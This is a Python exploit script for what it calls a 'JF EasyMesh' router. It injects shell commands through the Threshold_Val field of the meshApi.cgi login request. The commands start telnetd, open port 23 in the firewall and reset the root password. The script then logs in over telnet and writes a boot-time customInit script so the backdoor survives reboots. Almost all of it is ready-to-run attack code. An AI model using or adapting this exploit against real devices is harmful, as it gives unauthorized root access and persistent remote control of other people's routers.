JF-EXPLOIT.py

import sys
import time
import socket
import subprocess
import requests

# Default values
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.29.1"
USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin"
PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "youradminpassword"
ROOT_PASS = sys.argv[4] if len(sys.argv) > 4 else "password"
PERSIST = sys.argv[5].lower() if len(sys.argv) > 5 else "yes"

def banner():
    print("\n\033[0;34m" + "="*60)
    print("      JF EasyMesh Command Injection Exploit (Windows/Python)   ")
    print("="*60 + "\033[0m\n")

def info(msg):
    print(f"\033[0;34m[*]\033[0m {msg}")

def success(msg):
    print(f"\033[0;32m[+]\033[0m {msg}")

def error(msg):
    print(f"\033[0;31m[-]\033[0m {msg}")

def warning(msg):
    print(f"\033[1;33m[!]\033[0m {msg}")

def check_target():
    info("Checking if target is reachable...")
    # Use cross-platform ping counting flag
    param = "-n" if sys.platform.lower() == "win32" else "-c"
    command = ["ping", param, "1", "-w", "2000", TARGET]
    res = subprocess.run(command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    if res.returncode != 0:
        error(f"Target {TARGET} is not reachable")
        sys.exit(1)
    success("Target is reachable")

def check_webserver():
    info("Checking if web server is running...")
    try:
        r = requests.get(f"http://{TARGET}/", timeout=5, allow_redirects=True)
        if r.status_code in [200, 302, 401]:
            success("Web server is running")
            return
    except requests.RequestException:
        pass
    error(f"Web server not responding on http://{TARGET}/")
    sys.exit(1)

def exploit():
    info("Sending exploit payload...")
    
    # Placeholder for the original PAYLOAD variable logic 
    PAYLOAD = ";/usr/sbin/telnetd;/pfrm2.0/bin/iptables -I fwInBypass -p tcp --dport 23 -m ifgroup --ifgroup-in 0x1/0x1 -j ACCEPT;echo -e '${ROOT_PASS}\n${ROOT_PASS}' | passwd root;"
    
    headers = {
        "RequestMethod": "Login",
        "Content-Type": "application/json"
    }
    
    data = {
        "Admin_Name": USERNAME,
        "Admin_Password": PASSWORD,
        "Threshold_Val": PAYLOAD
    }
    
    try:
        r = requests.post(
            f"http://{TARGET}/meshApi.cgi?meshApi=1&meshRequest=SET_CGI",
            headers=headers,
            json=data,
            timeout=10
        )
        response_text = r.text
        
        if "Password for root changed" in response_text:
            success("Exploit successful! Root password changed.")
            return True
        elif '"Result":"OK"' in response_text:
            success("Payload sent successfully!")
            return True
        elif r.status_code == 409 or "409" in response_text:
            error("Session conflict. Try running with different credentials or wait for session timeout.")
            return False
        else:
            warning(f"Unexpected response: {response_text}")
            return False
    except requests.RequestException as e:
        error(f"Exploit connection failed: {e}")
        return False

def verify_telnet():
    info("Verifying telnet is accessible...")
    time.sleep(2)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect((TARGET, 23))
        s.close()
        success("Telnet port 23 is open!")
        return True
    except (socket.timeout, ConnectionRefusedError):
        warning("Telnet port not responding (may need a moment to start)")
        return False

def install_persistence():
    info("Installing persistence mechanism...")
    
    persist_cmds = (
        "mkdir -p /flash2/pfrm2.0/etc\n"
        "cat > /flash2/pfrm2.0/etc/customInit << 'CUSTOMINIT'\n"
        "#!/bin/sh\n"
        "sleep 60\n"
        "/usr/sbin/telnetd 2>/dev/null\n"
        "/pfrm2.0/bin/iptables -C fwInBypass -p tcp --dport 23 -m ifgroup --ifgroup-in 0x1/0x1 -j ACCEPT 2>/dev/null || /pfrm2.0/bin/iptables -I fwInBypass -p tcp --dport 23 -m ifgroup --ifgroup-in 0x1/0x1 -j ACCEPT\n"
        f"echo -e '{ROOT_PASS}\\n{ROOT_PASS}' | passwd root 2>/dev/null\n"
        "echo $(date) customInit executed - telnetd started >> /tmp/customInit.log\n"
        "CUSTOMINIT\n"
        "chmod +x /flash2/pfrm2.0/etc/customInit\n"
        "touch /flash/telnetEnable\n"
        "rm -f /flash/telnetDisableACS\n"
        "echo 'Persistence installed'\n"
    )
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET, 23))
        
        time.sleep(2)
        s.sendall(b"root\n")
        time.sleep(1)
        s.sendall(f"{ROOT_PASS}\n".encode())
        time.sleep(1)
        s.sendall(persist_cmds.encode())
        time.sleep(2)
        s.sendall(b"exit\n")
        s.close()
        
        success("Persistence commands sent")
        info("Telnet will auto-start on every reboot")
    except Exception as e:
        error(f"Failed to transmit persistence commands via socket: {e}")

def main():
    if "-h" in sys.argv or "--help" in sys.argv:
        print(f"Usage: python {sys.argv[0]} [TARGET_IP] [USERNAME] [PASSWORD] [ROOT_PASSWORD] [PERSIST]")
        sys.exit(0)
        
    banner()
    info(f"Target: {TARGET}")
    info(f"Username: {USERNAME}")
    info(f"Root password will be set to: {ROOT_PASS}")
    info(f"Persistence: {PERSIST}")
    print("")
    
    check_target()
    check_webserver()
    
    if not exploit():
        if USERNAME == "superadmin":
            error("Exploitation failed with provided credentials")
            sys.exit(1)
            
    verify_telnet()
    
    if PERSIST == "yes":
        install_persistence()

if __name__ == "__main__":
    main()